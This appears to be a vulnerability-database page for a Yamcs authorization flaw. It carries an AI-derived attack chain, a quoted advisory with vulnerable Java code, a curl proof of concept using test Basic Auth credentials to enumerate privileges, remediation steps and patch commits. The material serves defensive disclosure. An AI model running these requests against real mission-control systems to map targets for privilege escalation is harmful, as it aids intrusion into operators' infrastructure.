Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain valid low-privilege Yamcs account
-
DeliveryAuthenticate to Yamcs HTTP API (port 8090)
-
ExploitGET /api/privileges returns complete privilege taxonomy
-
ExecutionIdentify high-value roles (ControlAccess, ChangeMissionDatabase)
-
PersistTarget privileged account holders for credential theft
-
ImpactEscalate to administrator-level access
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization verification
MITRE ATT&CK
1 technique across 1 tactic: Defense Evasion The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires a valid authenticated session with any Yamcs account - including the lowest-privilege operator, read-only, or guest-level accounts - established via HTTP Basic Auth or equivalent. Unauthenticated (anonymous) access cannot reach these endpoints. The vulnerability affects any Yamcs deployment where authentication is enabled, which is the production default. Deployments using only YamlAuthModule may receive an empty body from GET /api/roles (role objects are not persisted into the security store Directory in that auth backend), but GET /api/privileges always returns the full 31-privilege list regardless of auth module. No special network position, non-default configuration, or elevated privilege is required beyond possessing any valid account credential. Exploitation is limited by the requirement for at least low-privilege authentication (CVSS PR:L); purely external unauthenticated attackers cannot exploit this directly. |
| Impact | The NVD-assigned CVSS 4.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N) accurately reflects the direct impact - limited confidentiality exposure of privilege metadata, not raw data or credentials. However, the real-world risk in Yamcs operational deployments is materially higher than the score implies: the disclosed privilege list (31 system privileges including ControlAccess and ChangeMissionDatabase) provides an attacker with the exact labels needed to identify high-value targets and chain subsequent attacks. The advisory explicitly notes ChangeMissionDatabase enables algorithm-level RCE. A POC is confirmed in the GHSA advisory, lowering exploitation effort. No EPSS score was provided in the input data. No CISA KEV listing exists at time of analysis, indicating no confirmed widespread active exploitation, though the niche deployment context (spacecraft operations) means KEV coverage may lag real-world targeting. The primary limiting factor is the PR:L requirement - exploitation is bounded to users with any valid Yamcs account. |
| Exploit ScenarioDerived | An attacker with a valid operator-level Yamcs account - obtained through credential theft, a shared service account, or social engineering - issues a single unauthenticated HTTP GET to /api/privileges with their Basic Auth header. The server responds with HTTP 200 and the complete list of 31 system privileges including ControlAccess and ChangeMissionDatabase. The attacker then queries /api/roles to map which roles carry those privileges, identifies which administrator accounts hold those roles, and proceeds to target those accounts for credential theft or session hijacking. A POC demonstrating this exact sequence is confirmed in the GHSA advisory. |
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Alert meAnalysisAIv1 – Aug 28, 2026
Missing authorization checks on three IAM REST API endpoints in Yamcs allow any authenticated low-privilege user to enumerate the server's complete privilege taxonomy and role-to-privilege mappings, directly enabling targeted privilege escalation reconnaissance. Affected are yamcs-core versions up to 5.12.7 and 5.13.0 through 5.13.1, used in production spacecraft operations and ground station environments. A proof-of-concept is confirmed in the GHSA advisory; no active exploitation (CISA KEV) has been identified, but the leaked data (including the ControlAccess and ChangeMissionDatabase privilege names) provides a precise roadmap for chained attacks including, per the advisory, algorithm-level remote code execution.
RemediationAI
Upgrade yamcs-core to version 5.12.8 (for 5.12.x deployments) or 5.13.2 (for 5.13.x deployments); both releases add ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess) as the first statement in listRoles, getRole, and listPrivileges in IamApi.java, confirmed by patch commits at https://github.com/yamcs/yamcs/commit/c2aec1c242e656e48b52c7f87deea88183bb592d and https://github.com/yamcs/yamcs/commit/dcaec5f0b2f4231b8e313e94d79a937169c9e0ba. If immediate patching is not feasible, restrict network access to the Yamcs HTTP API port (default 8090) to trusted operator networks only via firewall or network segmentation - this limits the pool of authenticated users who can reach the unprotected endpoints, though it does not eliminate the flaw. Additionally, audit and minimize the number of low-privilege accounts to reduce the effective attack surface until patching is complete.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in maven, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Yamcs is a Java-based mission control framework (Maven artifact org.yamcs:yamcs-core) used in satellite and spacecraft ground operations. The vulnerability is in IamApi.java, where three HTTP handler methods - listRoles (GET /api/roles), getRole (GET /api/roles/{name}), and listPrivileges (GET /api/privileges) - omit the ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess) call that every adjacent write and user-management endpoint in the same class correctly enforces. CWE-285 (Improper Authorization) describes this root cause precisely: the authorization mechanism exists and functions correctly elsewhere in the class; it was simply never invoked for these three read endpoints. The affected CPE is pkg:maven/org.yamcs:yamcs-core across both the 5.12.x and 5.13.x release lines.
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Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Network-accessible REST API requires any valid account (PR:L); disclosure is limited to privilege metadata with no integrity or availability impact.
Primary rating from Vendor (https://github.com/yamcs/yamcs).
CVSS VectorVendor: https://github.com/yamcs/yamcs
DescriptionCVE.org
Summary
Missing authorization checks on three IAM API endpoints (GET /api/roles, GET /api/roles/{name}, GET /api/privileges) allow any authenticated user - regardless of their assigned permissions - to enumerate the complete list of system privileges and role definitions. An attacker with only a low-privilege account (e.g., a read-only operator) can retrieve the full privilege taxonomy of the server, including the names and assignments of all administrator-level capabilities. This information directly enables targeted privilege escalation attacks.
---
Details
Three handler methods in IamApi.java serve sensitive security metadata without performing any authorization check:
File: yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java
// Line 73 - GET /api/roles
@Override
public void listRoles(Context ctx, Empty request, Observer<ListRolesResponse> observer) {
SecurityStore securityStore = YamcsServer.getServer().getSecurityStore();
List<Role> roles = securityStore.getDirectory().getRoles();
// No ctx.checkSystemPrivilege() call - any authenticated user proceeds
...
observer.complete(responseb.build());
}
// Line 87 - GET /api/roles/{name}
@Override
public void getRole(Context ctx, GetRoleRequest request, Observer<RoleInfo> observer) {
SecurityStore securityStore = YamcsServer.getServer().getSecurityStore();
Role role = securityStore.getDirectory().getRole(request.getName());
// No ctx.checkSystemPrivilege() call
observer.complete(toRoleInfo(role));
}
// Line 112 - GET /api/privileges
@Override
public void listPrivileges(Context ctx, Empty request, Observer<ListPrivilegesResponse> observer) {
SecurityStore securityStore = YamcsServer.getServer().getSecurityStore();
List<SystemPrivilege> privileges = new ArrayList<>(securityStore.getSystemPrivileges());
// No ctx.checkSystemPrivilege() call
observer.complete(responseb.build());
}By contrast, all write operations and user-management endpoints in the same file correctly enforce authorization. For example:
// Line 126 - GET /api/users (correctly protected)
public void listUsers(...) {
ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ← present
...
}
// Line 142 - POST /api/users (correctly protected)
public void createUser(...) {
ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ← present
...
}The three vulnerable endpoints share the same ControlAccess protection requirement as the user-management endpoints but were never given the corresponding check.
Route definitions (confirmed in yamcs-api/src/main/proto/yamcs/protobuf/iam/iam.proto):
GET /api/privileges → IamApi.listPrivileges()
GET /api/roles → IamApi.listRoles()
GET /api/roles/{name} → IamApi.getRole()---
PoC
<img width="2324" height="1086" alt="image" src="https://github.com/user-attachments/assets/98ec3e81-556d-41e1-9211-10a5b9ad0d59" />
Environment
- Yamcs version: 5.13.1-SNAPSHOT (latest master)
- Auth module: YamlAuthModule (default)
- Two accounts available:
admin(Administrator) andoperator(Operator) - Calculate the Basic Auth credentials for the two accounts (this needs to be done only once). Please modify according to the actual situation. These credentials will be used in subsequent commands. Here, there is a test low-privilege account named "operator" with the password "password".
<img width="2243" height="223" alt="image" src="https://github.com/user-attachments/assets/5614013c-2143-4f61-aba3-eab1cba24b67" />
powershell -command "[Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes('admin:admin'))"
powershell -command "[Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes('operator:password'))"
Step 1 - Confirm that protected endpoints correctly return 403 for low-privilege users
curl -s -o nul -w "HTTP %{http_code}" http://localhost:8090/api/users -H "Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ="Expected: HTTP 403 - the user-list endpoint enforces ControlAccess.
Step 2 - Enumerate all system privileges with the operator account
curl -s http://localhost:8090/api/privileges -H "Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ="Actual response (HTTP 200):
C:\Users\20616>curl -s http://localhost:8090/api/privileges -H "Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ="
{
"systemPrivileges": ["ChangeMissionDatabase", "CommandOptions", "ControlAccess", "ControlActivities", "ControlAlarms", "ControlArchiving", "ControlCommandClearances", "ControlCommandQueue", "ControlFileTransfers", "ControlLinks", "ControlProcessor", "ControlServices", "ControlTimeCorrelation", "ControlTimeline", "CreateInstances", "GetMissionDatabase", "ManageAnyBucket", "ManageParameterLists", "ModifyCommandHistory", "ReadActivities", "ReadAlarms", "ReadCommandHistory", "ReadEvents", "ReadFileTransfers", "ReadLinks", "ReadSystemInfo", "ReadTables", "ReadTimeline", "WriteEvents", "WriteTables", "web.AccessAdminArea"]
}The operator account receives the server's complete privilege taxonomy - all 31 system privileges including ControlAccess (full user management) and ChangeMissionDatabase (algorithm-level RCE, see related advisory).
Step 3 - Enumerate all defined roles with the operator account
curl -s http://localhost:8090/api/roles -H "Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ="Actual response (HTTP 200):
C:\Users\20616>curl -s http://localhost:8090/api/roles -H "Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ="
{
}The endpoint returns HTTP 200 (no authorization check triggered). The empty body reflects the test environment: the YamlAuthModule stores role names as plain strings in users.yaml and does not persist Role objects into the security store's Directory. In any Yamcs instance where roles have been created through the REST API (POST /api/roles), this endpoint returns the full role-to-privilege mapping for every defined role.
Step 4 - Attempt to read a specific role by name
curl -s http://localhost:8090/api/roles/Administrator -H "Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ="Actual response:
C:\Users\20616>curl -s http://localhost:8090/api/roles/Administrator -H "Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ="
{
"code": 404,
"type": "NotFoundException",
"msg": "Resource not found"
}The 404 is a business-logic outcome (the role object does not exist in the Directory for this test configuration), not an authorization rejection. The server never checked whether the caller is permitted to read role data - it proceeded to the lookup and returned the lookup result. In a deployment where roles are registered as objects, this endpoint returns their full privilege configuration to any authenticated user.
Observed vs Expected
| Request | Expected | Actual | Note |
|---|---|---|---|
GET /api/users (operator) | 403 | 403 ✓ | Auth check present |
GET /api/privileges (operator) | 403 | 200 ✗ | Confirmed - full privilege list leaked |
GET /api/roles (operator) | 403 | 200 ✗ | Auth check absent; empty only in this test setup |
GET /api/roles/Administrator (operator) | 403 | 404 ✗ | No auth check; 404 = role not in Directory, not access denied |
---
Impact
Vulnerability type: Broken Function Level Authorization (BFLA) / Missing Authorization (OWASP API Security Top 10 2023: API5)
Who is impacted: Any deployment of Yamcs that has authentication enabled (the default for production setups) and has more than one user tier. This includes the vast majority of operational Yamcs installations in ground station, satellite operations, and mission control contexts.
Direct impact:
- Any authenticated user, including operators, guest accounts, or service accounts with minimal privileges, can retrieve the server's complete privilege taxonomy and all role-to-privilege mappings.
Chained impact: The disclosed privilege names and role definitions provide an attacker with a precise roadmap for privilege escalation:
- Identify which privilege grants the capability they need (e.g.,
ChangeMissionDatabasefor RCE via the algorithm engine,ControlAccessfor full user management). - Identify which roles carry that privilege.
- Target the accounts that hold those roles for credential theft, session hijacking, or social engineering.
In mission-critical environments (spacecraft operations, industrial control), unauthorized privilege escalation via this information leak could have safety implications beyond IT security.
---
Fix
Add ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess) as the first statement in each of the three affected methods, matching the pattern already used by adjacent endpoints in the same file:
// IamApi.java - apply to all three methods
public void listRoles(Context ctx, Empty request, Observer<ListRolesResponse> observer) {
ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS LINE
...
}
public void getRole(Context ctx, GetRoleRequest request, Observer<RoleInfo> observer) {
ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS LINE
...
}
public void listPrivileges(Context ctx, Empty request, Observer<ListPrivilegesResponse> observer) {
ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS LINE
...
}Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.
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NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB